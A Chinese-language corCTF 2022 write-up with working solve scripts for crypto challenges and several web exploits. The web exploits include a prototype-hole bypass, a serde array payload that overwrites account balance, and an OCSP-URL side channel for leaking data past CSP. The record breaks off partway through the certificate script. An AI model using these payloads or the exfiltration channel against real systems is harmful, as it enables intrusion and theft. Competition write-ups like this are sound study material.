corCTF 2022 WriteUps

這次參加了我去年就聽說題目有趣但沒能參加的 corCTF,雖然一樣是 TSJ 與 thehackerscrew 聯隊參加,但這次只有拿到第二名。

crypto

exchanged

這題有一組公開的 LCG 參數 和初始值 ,定義更新函數為 ,然後利用 疊帶定義一個 diffie hellman key exchange。解這題需要有辦法在給予 的情況下求得

方法就是把它寫成 ,所以 ,此時就有 。然後因為 是 smooth 的所以直接解 dlog 結束。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256

p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905
b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917
s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763
A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628
B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273
ct = bytes.fromhex(
"e0364f9f55fc27fc46f3ab1dc9db48fa482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e"
)

F = GF(p)
t = F(b / (1 - a))


def dlog(y, g):
return ZZ(F((y - t) / (g - t)).log(a))


def mul(s, n):
return ZZ(F(a) ** n * F(s - t) + t)


s1 = mul(B, dlog(A, s))
print(s1)
s2 = mul(A, dlog(B, s))
print(s1)

key = sha256(long_to_bytes(s1)).digest()[:16]
print(unpad(AES.new(key, AES.MODE_CBC, iv=ct[:16]).decrypt(ct[16:]), 16))
# corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}

另一個方法是解 matrix dlog 也行,用類似 fibonacci 矩陣快速冪的作法得到這個矩陣:

然後 jordan form 求通項之後能 dlog。

後來還有看到一個不用 dlog 的方法:

其中 是 public key,而 是目標的 shared secret,所以

hidE

先用 time 去 seed random,然後隨機產生 多次使用同個 RSA 的 加密 flag,所以爆一下可能的 並視看看 common modulus attack 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from Crypto.Util.number import *
from time import time
from random import Random

# io = process(["python", "main.py"])
io = remote("be.ax", 31124)
io.recvuntil(b"Your modulus is: ")
n = int(io.recvline())


def getflag():
io.sendlineafter(b"option: ", b"1")
io.recvuntil(b"flag: ")
return bytes_to_long(bytes.fromhex(io.recvlineS().strip()))


start = int(time())
c1, c2 = getflag(), getflag()


def attack(c1, c2, e1, e2):
g, a, b = xgcd(e1, e2)
if g != 1:
return
return power_mod(c1, a, n) * power_mod(c2, b, n) % n


for t in range(start - 10, start + 5):
rng = Random(t)
es = [rng.randint(1, n) for _ in range(10)]
for i in range(len(es)):
for j in range(i, len(es)):
m = attack(c1, c2, es[i], es[j])
if m is not None and b"corctf{" in long_to_bytes(m):
print(long_to_bytes(m))
exit()
# corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}

generous

這題有個神秘的類 RSA 加密系統使用了 ,並且給了你個只給 LSB 的 decryption oracle。key generation 和 decryption 仔細觀察了一下發現很像 paillier cryptosystem,且測試之後也發現它也擁有著 homomorphic 的性質,所以用加法和除法就能用 oracle 把 flag 從 LSB 開始一個一個 leak。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from random import randrange
from Crypto.Util.number import *

# io = process(['python', 'generous.py'])
io = remote("be.ax", 31244)
io.recvuntil(b'n = ')
n = int(io.recvlineS())
io.recvuntil(b'g = ')
g = int(io.recvlineS())
io.recvuntil(b'h = ')
h = int(io.recvlineS())
pub = (n, g, h)
io.recvuntil(b'Encrypted Flag: ')
c = int(io.recvlineS())

def encrypt(pubkey, m):
n, g, h = pubkey
r = randrange(1, n)
c = pow(g, m, n) * pow(h, r, n) % n
return c

def oracle(c):
io.sendlineafter(b'Enter ciphertext> ', str(c).encode())
io.recvuntil(b'Oracle result: ')
return int(io.recvlineS())

bs = []
while True:
b = oracle(c)
bs.append(b)
c = (c * encrypt(pub, -b))%n
c = pow(c,pow(2,-1,n),n)
print(unbits(bs[::-1]))
# corctf{see?1_bit_is_very_generous_of_me}

另外這題也可以用類似 RSA parity oracle 的方式,直接恢復 ,然後解密即可: https://jsur.in/posts/2022-08-08-corctf-2022-crypto-writeups#generous

還有這邊還有個很有趣的作法是把 parity oracle 的輸出當作是 binary digits,然後用 continued fraction 來恢復: https://remyoudompheng.github.io/ctf/corctf2022/generous.html

corrupted-curves

註: 請先閱讀 corrupted-curves+

類似 corrupted-curves+,這題的 oracle 的 可以自由選取,但是 變為 64 bits,且 oracle 的呼叫次數只有 64。

總之一樣是蒐集等式,但這次有 個未知數,但我們只能拿到 條等式而已,代表不能用高斯消去法解。

我的方法是先 resultant 消除 ,這樣剩下 個未知數 和 條等式,而未知數部分都是 ,所以都是

這邊的話就是類似這個 writeup,透過 LLL 試著去解看看即可。不過直接拿 條等式的矩陣太大,LLL 跑不太出來,測試之後發現差不多 16 條等式就能在適當時間內跑出唯一結果了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from Crypto.Util.number import long_to_bytes

# context.log_level = "debug"

# io = process(["python", "corruptedcurves.py"])
io = remote("be.ax", 31345)
io.recvuntil(b"p = ")
p = ZZ(io.recvline())
io.recvuntil(b"flag y = ")
flag_y = ZZ(io.recvline())
F = GF(p)


def get():
while True:
x = randint(2**384, p - 2**384)
io.sendlineafter(b"x = ", str(x).encode())
io.recvuntil(b"e = ")
e = ZZ(io.recvline())
r = io.recvline()
if b":(" in r:
continue
y = ZZ(r.split(b" = ")[-1])
return x, y, e


def ecc(a, b, x, y):
return y ^ 2 - (x ^ 3 + a * x + b)


varnames = ",".join(
["at", "bt"] + [f"a{i}" for i in range(64)] + [f"b{i}" for i in range(64)]
)
P = PolynomialRing(F, varnames)
at, bt = P.gens()[:2]
aa = P.gens()[2 : 2 + 64]
bb = P.gens()[-64:]

from tqdm import tqdm

polys = []
for _ in tqdm(range(64)):
x, y, e = get()
aaa = [a if x == "0" else 1 - a for a, x in zip(aa, f"{e:064b}"[::-1])]
bbb = [b if x == "0" else 1 - b for b, x in zip(bb, f"{e:064b}"[::-1])]
aaaa = at * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(aaa)])
bbbb = bt * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(bbb)])
f = ecc(aaaa, bbbb, x, y)
polys.append(f)
pp = []
for f, g in zip(polys, polys[1:]):
pp.append(f.sylvester_matrix(g, at).det())
ppp = []
for f, g in zip(pp, pp[1:]):
ppp.append(f.sylvester_matrix(g, bt).det())

# LLL of large matrix is really slow
M, v = Sequence(ppp[:16]).coefficient_matrix()
print(vector(v))
M = M.T.dense_matrix()
nr, nc = M.dimensions()
print(nr, nc)
B = block_matrix(
ZZ, [[matrix.identity(nc) * p, matrix.zero(nc, nr)], [M, matrix.identity(nr)]]
)
B[:, :nc] *= 2 ^ 512
print(B.dimensions())
B = B.LLL()
print(B[0][nc:-1])

sol = B[0][nc:-1]
raa = list(sol[:64])
rbb = list(sol[64:])
bt = (
pp[0]
.subs({s: v for s, v in zip(aa + bb, raa + rbb)})
.univariate_polynomial()
.roots(multiplicities=False)[0]
)
at = (
polys[0]
.subs({s: v for s, v in zip(aa + bb, raa + rbb)})
.subs(bt=bt)
.univariate_polynomial()
.roots(multiplicities=False)[0]
)
a = ZZ((at * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(raa)])))
b = ZZ((bt * 2 ^ 64 + sum([x * 2 ^ i for i, x in enumerate(rbb)])))
print(a)
print(b)

P = PolynomialRing(F, "x")
x = P.gen()
f = x ^ 3 + a * x + b - flag_y ^ 2
for x in f.roots(multiplicities=False):
print(long_to_bytes(ZZ(x)))
# corctf{i_h0pe_you_3njoyed_p1ecing_t0geth3r_th4t_curv3_puzz1e_:)}

threetreasures

flag 被分成了三部分 ,各是 125 bits。然後有未知的 1024 bits ,還有個 上的 上的一點 ,符合 的部分是直接以 RSA 加密。

關鍵是利用 得到 ,所以 的 x 座標相同。直接把 當成未知數然後讓兩個點的 x 座標相等後會得到一個以 為根的 2 次多項式。因為 只有 125 bits 所以可以用 coppersmith method 在大約 的情況下解出來。

不過實際測試發現它這個 bounds 非常的緊,需要 LLL 很大的矩陣,根本算不完。所以這邊還能利用 是 flag 的前面部分,其中有已知的 corctf{ 所以可以讓未知的部分變小很多,用 coppersmith 就能很容易的解出。

還有人說可以直接爆 5 bits 的 lsb,然後 32 次 coppersmith 也能解出來

得到 之後帶回多項式得到 ,之後再得到 ,最後解密 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import *

n = 97915144495462666300795364589570761584322186881492143950078938328867290046424857019504657598883431857075772605985768551863478086544857915637724181292135280539943713583281151707224031808445390796342632369109562433275679473233398168787639940620683354458292117457239552762694657810883738834935391913698852811737
ct = 20363336204536918055183609604474634074539942561101208682977506918349108499764147141944713060658857301108876346227077713201766486360148051069618774935469969057808945271860025712869868421279488925632657486125211168314387620225601572070169746014988350688548088791906161773656057212229972967244998930356157725393
x, y = (
3115938227771961657567351113281194074601897467086373590156577019504528350118731801249444974253028485083440228959842232653488953448859690520619223338133881,
2665631524518629436093690344927156713668794128141943350227439039472817541262750706395352700109556004195261826476428128993836186741129487842876154876730189,
)
fbits = 375
piece_bits = fbits // 3
fbytes = (fbits + 7) // 8
prefix = b"corctf{"
atop = bytes_to_long(prefix + (fbytes - len(prefix)) * b"\x00") >> (2 * piece_bits)

P = PolynomialRing(QQ, "a")
a = P.gen()
a += atop


def add(P, Q):
x1, y1 = P
x2, y2 = Q
if x1 != x2:
s = (y2 - y1) / (x2 - x1)
else:
s = (3 * x1 ^ 2 + a) / (2 * y1)
x3 = s ^ 2 - x1 - x2
y3 = -(y1 + s * (x3 - x1))
return x3, y3


# 3G = O
# G + G = -G
# xcoord(2G) = xcoord(-G) = xcoord(G)
xx, yy = add((x, y), (x, y))
g = (xx - x).change_ring(Zmod(n))
X = 2 ^ (125 - 8 * len(prefix))
beta = 0.5
eps = (beta ^ 2 / g.degree() - log(2 * X, n)).n()
alow = g.monic().small_roots(X=X, epsilon=eps, beta=beta)[0]
a = ZZ(atop + alow)
p = gcd(ZZ(g(alow)), n)
q = n // p
b = ZZ(y ^ 2 - (x ^ 3 + a * x)) % p
c = power_mod(ct, inverse_mod(65537, (p - 1) * (q - 1)), n) >> (512 - piece_bits)
flag = (a << (2 * piece_bits)) + (b << piece_bits) + c
print(long_to_bytes(flag))
# corctf{you_have_conquered_the_order_of_three!!}

corrupted-curves+

題目有個未知的橢圓曲線 上的 ,然後有個 oracle 會隨機生成一個 48 bits 的 得到另一條曲線 ,然後給你上面的任一點 。oracle 最高可以呼叫 2022 次。

flag 本身是在原本的曲線上的一個 中的 ,而題目只有給你 ,所以需要知道 才能回推

我的方法是把 的 low 48 bits 記為 ,然後剩下的 top bits 記為 ,那麼對於一個已知的 來說:

其中的 代表的是 bit xor,用數學可以寫成:

這個概念是來自於 TSJ CTF 2022 (II): Signature 的,不過也可以用我自己的關於那題的 writeup 的方法

現在因為 能表示為一堆未知數的線性形式,所以只要蒐集超過 個等式之後高斯消去就能求回 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
from Crypto.Util.number import long_to_bytes

# context.log_level = "debug"

# io = process(["python", "corruptedcurvesplus.py"])
io = remote("be.ax", 31132)
io.recvuntil(b"p = ")
p = ZZ(io.recvline())
io.recvuntil(b"flag y = ")
flag_y = ZZ(io.recvline())
F = GF(p)


def get_y(x):
io.sendlineafter(b"x = ", str(x).encode())
try:
io.recvuntil(b"y = ", timeout=1)
return ZZ(io.recvline())
except:
return get_y(x)


io.send(b"\n" * 8763)


def get():
while True:
try:
r = io.recvuntil(b"more> ").splitlines()
e = ZZ(r[-4].split(b" = ")[-1])
x = ZZ(r[-3].split(b" = ")[-1])
y = ZZ(r[-2].split(b" = ")[-1])
return x, y, e
except:
pass


def ecc(a, b, x, y):
return y ^ 2 - (x ^ 3 + a * x + b)


varnames = ",".join(
["at", "bt"] + [f"a{i}" for i in range(48)] + [f"b{i}" for i in range(48)]
)
P = PolynomialRing(F, varnames)
at, bt = P.gens()[:2]
aa = P.gens()[2 : 2 + 48]
bb = P.gens()[-48:]


from tqdm import tqdm

polys = []
for _ in tqdm(range(2 + 48 + 48)):
x, y, e = get()
aaa = [a if x == "0" else 1 - a for a, x in zip(aa, f"{e:048b}"[::-1])]
bbb = [b if x == "0" else 1 - b for b, x in zip(bb, f"{e:048b}"[::-1])]
aaaa = at * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(aaa)])
bbbb = bt * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(bbb)])
f = ecc(aaaa, bbbb, x, y)
polys.append(f)
M, v = Sequence(polys).coefficient_matrix()
sol = vector(M[:, :-1].solve_right(-M[:, -1]))
print(sol)
at, bt = sol[:2]
aa = sol[2 : 2 + 48]
bb = sol[-48:]
a = ZZ((at * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(aa)])))
b = ZZ((bt * 2 ^ 48 + sum([x * 2 ^ i for i, x in enumerate(bb)])))
print(a)
print(b)

P = PolynomialRing(F, "x")
x = P.gen()
f = x ^ 3 + a * x + b - flag_y ^ 2
for x in f.roots(multiplicities=False):
print(long_to_bytes(ZZ(x)))
# corctf{cr4ftin6_f3as1ble_brut3s_unt1l_y0u_mak3_it!}

rlfsr

有個 128 bits 的 LFSR,它輸出時是以 128 bits 為一組 shuffle 後輸出,一共輸出 118 組。

關鍵就是利用 shuffle 前後不會改變的性質,直接各組加總 ,然後高斯消去後得到一個解和 rank 10 的 kernel,代表的是那 10 bits 的未知。

這部分就直接 10 bits 爆搜,看看哪個是 AES key,可以解出 flag 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from tqdm import tqdm
import itertools

with open("output.txt", "rb") as f, open("fixed.txt", "w") as f2:
f2.write(f.read()[2:].decode("utf-16-le"))

with open("fixed.txt") as f:
c = int(f.readline().strip(), 16)
c = f"{c:0{118*128}b}"[::-1]
c = [c[i : i + 128] for i in range(0, len(c), 128)]
out = [sum([int(y) for y in x]) % 2 for x in c]
ct = bytes.fromhex(f.readline().strip())
iv, ct = ct[:16], ct[16:]


taps = [1, 2, 7, 3, 12, 73]
P = PolynomialRing(GF(2), "x")
x = P.gen()
f = sum([x ^ i for i in taps]) + x ^ 128
M = companion_matrix(f, "bottom")
M128 = M ^ 128

P = PolynomialRing(GF(2), ",".join([f"k{i}" for i in range(128)]))
s = vector(P.gens())
eqs = []
for i in tqdm(range(118), desc="progress"):
eqs.append(sum(s) - out[i])
s = M128 * s

M, v = Sequence(eqs).coefficient_matrix()
M = M.dense_matrix()
sol0 = vector(M[:, :-1].solve_right(-M[:, -1]))
ker = M[:, :-1].right_kernel().basis_matrix()

for z in itertools.product([0, 1], repeat=ker.dimensions()[0]):
sol = sol0 + vector(GF(2), z) * ker
kk = sum([x * 2 ^ i for i, x in enumerate(sol[::-1].change_ring(ZZ))])
aeskey = sha256(int(kk).to_bytes(16, "big")).digest()[:32]
cip = AES.new(aeskey, AES.MODE_CBC, iv=iv)
flag = cip.decrypt(ct)
if b"corctf{" in flag:
print(unpad(flag, 16))
# corctf{m4yb3_w3_sh0uld_ju5t_cut_hum4n5_0ut_0f_th1s_c0mpl3t3ly_1f_th3y_d3c1d3_t0_f4k3_shuffl3_0r_s0m3th1ng}

web

friends

這題有個 node.js server,目標是要被 admin 跟隨才能拿到 flag,但是從邏輯上來講根本看不出有什麼問題,也沒有什麼其他可能的漏洞像是 prototype pollution 之類的。

花上很久的時間看 code 後我在測試一些東西的時候把題目的檔案用 prettier 給 format 了,就找到了它有問題的點:

1
2
3
4
5
6
const mine = followers.get(req.username)

// force all params to be strings for safety
[body.u, body.r, body.n] = params.map(
p => (body[p] ?? '').toString()
)

上面是一段在 /follow 裡面的 code,看起來相當正常,但是只要你 format 之後它就會變成這樣:

1
2
3
4
const mine = (followers.get(req.username)[
// force all params to be strings for safety
(body.u, body.r, body.n)
] = params.map(p => (body[p] ?? '').toString()))

這邊是因為 javascript 雖然在一般情況下有 ASI 可以讓你不用加分號,但是在幾個特定字元前面還是得分開,不然有 ambiguity。而這邊就是在 )[ 中間缺了個 ;,在這邊它所代表的含意就是:

1
followers.get(req.username)[body.n] = params.map(p => (body[p] ?? '').toString()))

而要拿到 flag 的條件是要讓自己的 followers 中出現 admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// get followers
const mine = followers
.get(req.username)
.filter(v => v !== undefined)

if (mine.includes('admin')) {
// lock the account so people don't stumble onto the flag
users.set(req.username, crypto.randomBytes(16).toString('hex'))

// give the flag
return res.send(
`Endorsed by the admin?! Here's your flag: ${process.env.FLAG}`
)
}

對照一下那段 code 我們知道它相當於 params.map(p => (body[p] ?? '').toString())),而 map 的結果是個 array,所以 body.n 填單純的數字是不會過的,需要想其他方法。

想了想在下面的 /remove 中看到了這個:

1
2
3
4
// delete is convenient and safe for -1 index
// no check needed
const theirs = followers.get(user)
delete theirs[theirs.indexOf(req.username)]

因為 delete array index 只會讓它變成 hole,長度不會變,而內建的函數在呼叫時也會沿著 prototype 往上找,所以只要讓一個 index 消失掉且讓它的 __proto__ 指到另一個 array 就能繞過了。範例:

1
2
3
4
ar = [1]
ar.__proto__ = ['admin']
delete ar[0]
console.log(ar.includes('admin')) // true

然後可以寫個腳本這樣弄:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import httpx

host = "https://web-friends-b72ffb6a51e00042.be.ax"
c1 = httpx.Client(base_url=host)
c2 = httpx.Client(base_url=host)

c1.post("/login", data={"u": "supernene", "p": "supernene", "c": "supernene"})
c2.post("/login", data={"u": "elitemiko", "p": "elitemiko", "c": "elitemiko"})

c2.post("/follow", data={"u": "supernene", "r": "supernene", "n": "supernene"})
c1.post("/follow", data={"u": "admin", "r": "r", "n": "__proto__"})
c2.post("/remove", data={"u": "supernene"})
print(c1.get("/user").text)
# corctf{friendship_is_magic_colon_sparkles_colon}

後來也有看到不用 delete 的做法,就是 javascript 在 ar = []; ar[1] = 'peko' 的情況也會有 hole,然後一樣弄 prototype 也能搞定。

javascript 如果不想寫分號的話需要記得在 +-[(/ 前面加分號,這樣就不會有這邊的問題了 (來源)

rustshop

這題是個 rust 題,一個簡單的商店然後要讓金錢和某個商品數量達到指定值才能拿到 flag,但表面上邏輯完全沒有問題。

它的註冊函數如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
async fn register_post(Json(body): Json<serde_json::Value>, cookies: Cookies) -> Json<APIResponse> {
if !utils::validate_body(&body, &["username", "password"]) {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Invalid input")),
});
}

let mut user: User = match serde_json::from_value(body) {
Ok(user) => user,
Err(_) => {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Missing username or password")),
})
}
};

if user.username.len() < 5 || user.password.len() < 7 {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("Username or password too short")),
});
}

if DB.contains_key(&user.username) {
return Json(APIResponse {
status: APIStatus::Error,
data: None,
message: Some(String::from("A user already exists with that username")),
});
}

user.password = utils::sha256(user.password);

let username = user.username.to_string();
let session_cookie = utils::randstr(64);

SESSIONS.insert(session_cookie.to_string(), username.to_string());
cookies.add(Cookie::new("session", session_cookie));
DB.insert(username, user);

Json(APIResponse {
status: APIStatus::Success,
data: None,
message: None,
})
}

可知它會先 validate 傳進來的 json 是否 contain 某些值,然後用 serde deserialize 成 User,之後做一些檢查後如果通過就將 user 塞進 DB。

然後追進去 validate_body 可以看到:

1
2
3
4
5
6
7
8
pub fn validate_body(body: &serde_json::Value, allowed: &[&str]) -> bool {
if let Some(body) = body.as_object() {
if body.keys().any(|key| !allowed.contains(&key.as_str())) {
return false;
}
}
true
}

可以知道它會檢查 object 的所有 key 是不是只包含 allowed 的部分,但是這邊有個邏輯漏洞在。就是當 body.as_object()None 的時候它就不會進 if,所以直接回傳 true。驗證一下可以確認這會在 body 是 array number string 等的時候發生。

後面 deserialize 成的 User 結構長這樣:

1
2
3
4
5
6
7
8
9
#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct User {
pub username: String,
pub password: String,
#[serde(default)]
pub items: Vec<PurchasedItem>,
#[serde(default = "default_money")]
pub money: i32,
}

裡面有帳密,以及購買個物品和錢。如果能透過某種方式直接能讓 payload 在 deserialize 的時候直接把 itemsmoney 蓋掉就能拿 flag 了,但是為了要過 validate_body 又不能使用 object。

查了一下官方文件發現說 serde 也能直接把 array 按照順序 deserialize 到一個 struct 中,這正好是我們要的,所以這樣就能拿 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
await fetch('/api/register', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify([
'elitemiko',
'elitemiko',
[
{
name: 'rustshop flag',
quantity: 0x42069
}
],
0x13371337
])
}).then(r => r.json())
await fetch('/api/flag').then(r => r.json())
// corctf{we_d0_s0me_s3rde_shen4nigans}

sndbx

這題是個很特別的題目,它有個專屬的域名 https://daplie.me/,且它的 tls cert 是使用自己的 CA sign 的。連上去之後它可以讓你 create sandbox,會先提供給你個 subdomain,並且要你提供 CSR(Certificate Signing Request) 和 private key,之後 subdomain 就能使用 https 存取了(一樣是自建 CA sign 的)。

生成這些東西的部分用兩個指令就能達成了:

1
2
openssl ecparam -genkey -name prime256v1 -out domain.key  # Private key
openssl req -new -sha256 -key private.key -subj '/CN=4n3noitrpnz4t1bl2us6sq.daplie.me' -addext "subjectAltName = DNS:4n3noitrpnz4t1bl2us6sq.daplie.me" > domain.key # CSR

這樣可以讓那個新增的 subdomain 在瀏覽器使用自訂 CA 時通過認證。

再來是那個 subdomain 在 / 的靜態內容可以自由修改,但是整個 *.daplie.me 下的網站都強制加上了這個 CSP:

1
default-src 'self' *.daplie.me; script-src 'unsafe-inline' 'unsafe-eval'; style-src 'unsafe-inline'

而題目的 bot 使用了 firefox nightly 102.0 並接受了它們自建的 CA,你可以提供一段 javascript 然後 bot 會去瀏覽 castle:

1
page.goto(f'{config.CASTLE_BASE}?eval={quote(script)}&flag={config.FLAG}')

config.CASTLE_BASEhttps://castle.daplie.me/

它的 html 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>moat</title>
</head>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts';
iframe.srcdoc = `<script>window.flag = '${new URLSearchParams(window.location.search).get('flag')}'</script\>
<script>${new URLSearchParams(window.location.search).get('eval')}</script\>`;
document.body.appendChild(iframe);
</script>
</body>
</html>

它做的事很簡單,就是把你的 js 和 flag 都放到一個 iframe sandbox 中執行,但仍然受到上面的 CSP 限制。CSP 部分完全限制了使用 fetch 或是 new Image 等等的傳 flag 方法,而它還有 X-Frame-Options: SAMEORIGIN 也防止了使用修改 location.href 的方法,而 iframe sandbox 本身也禁止了 window.open 相關的技巧。

另一個會想到的方法是看能不能裡用可以控制內容的 subdomain 來做些事情,但是 CSRF 修改 subdomain 內容來傳 flag 等等。不過這很快也會發現它一樣會被 X-Frame-Options: SAMEORIGIN 限制,所以這條路也不通。

後來作者在題目提示說和 x509 有關,就讓我開始研究起了 certificate 的部分。它 server 接受了 CSR,然後使用 CA 的 private key 幫你 sign 成 public key:

1
2
3
4
5
6
7
8
9
10
11
12
13
def generate(csr):
cert = x509.CertificateBuilder()
cert = cert.subject_name(csr.subject)
cert = cert.issuer_name(ca.issuer)
cert = cert.public_key(csr.public_key())
cert = cert.serial_number(x509.random_serial_number())
cert = cert.not_valid_before(datetime.datetime.today())
cert = cert.not_valid_after(datetime.datetime(2030, 1, 1))

for extension in csr.extensions:
cert = cert.add_extension(extension.value, extension.critical)

return cert.sign(private_key, hashes.SHA256())

這邊看起來最可疑的部分是 extensions 的部分,因為它願意接受你指定的任意 extension 並直接 sign。去查了一下 x509 和 extensions 相關的資訊有找到這篇,讓我知道它有些 extensions 是在做甚麼的,還有大概有哪些 extensions。

其中一個最主要的 extension 是 SAN (Subject Alternate Name),也就是前面 openssl 指令的 subjectAltName 部分,瀏覽器就是看這個部分知道一個 certificate 是不是適用於這個 domain 的。

再來我去研究了一下其他網站如 google.com 的 x509 裡面有沒有什麼有趣的東西,這部分用 openssl 也能達成:

1
2
openssl s_client -showcerts -servername google.com -connect google.com:443 2>/dev/null | openssl x509 -inform pem -noo
ut -text

在裡面就看到它有個網址出現,看起來就很有趣:

1
2
3
Authority Information Access:
OCSP - URI:http://ocsp.pki.goog/gts1c3
CA Issuers - URI:http://pki.goog/repo/certs/gts1c3.der

查了一下知道 OCSP 的前身有個 CRL,是給 client 在收到 certificate 時可以向 CA 查詢憑證狀態,例如是否已被 revoked 等等,以便擁有撤銷不安全的憑證能力。因此 OCSP 的 url 會是 CA 的 server。

這部分可能不是很正確,只是我自己的淺薄理解而已

這邊就讓我想到如果把 OCSP 的 url 設置成自己的 server 會怎麼樣? 所以做了些實驗之後發現 firefox 會在第一次遇到一個 certificate 的時候確實會向 OCSP server 發送一個 HTTP Post request,大概長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ocsp HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 87
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

GARBAGE

不過之後的查詢就會因為有 cache 所以不會另外發 request,不過關閉瀏覽器重開之後 cache 似乎就會被清空了。在 remote 的 bot 一樣做了些測試也發現能成,因此就有了個 side channel 的 primitive 可以利用。

因為這個只是個 binary (true, false) 的 primitive,要 leak 整個 flag 沒那麼方便。不過一個簡單的方法就是多註冊幾個 subdomain,例如我為了一次 leak 一個字元 (8 bits),所以預先弄好的 8 個 subdomain 指向 8 個不同的 OCSP url,分別代表字元不同 bit 是 0 還是 1。

生成 subdomain 的 script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import (
NameOID,
ExtendedKeyUsageOID,
AuthorityInformationAccessOID,
)

def gen(ocsp_url, ca_url):
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
)
builder = x509.CertificateSigningRequestBuilder()
builder = builder.subject_name(
x509.Name(
[
x509.NameAttribute(NameOID.COMMON_NAME, "*.daplie.me"),
]
)
)
builder = builder.add_extension(
x509.SubjectAlternativeName([x509.DNSName("*.daplie.me")]), critical=False
)
builder = builder.add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.OCSP_SIGNING]), critical=False
)
builder = builder.add_extension(
x509.AuthorityInformationAccess(
[
x509.AccessDescription(
AuthorityInformationAccessOID.OCSP,
x509.UniformResourceIdentifier(ocsp_url),
),
x509.AccessDescription(
AuthorityInformationAccessOID.CA_ISSUERS,
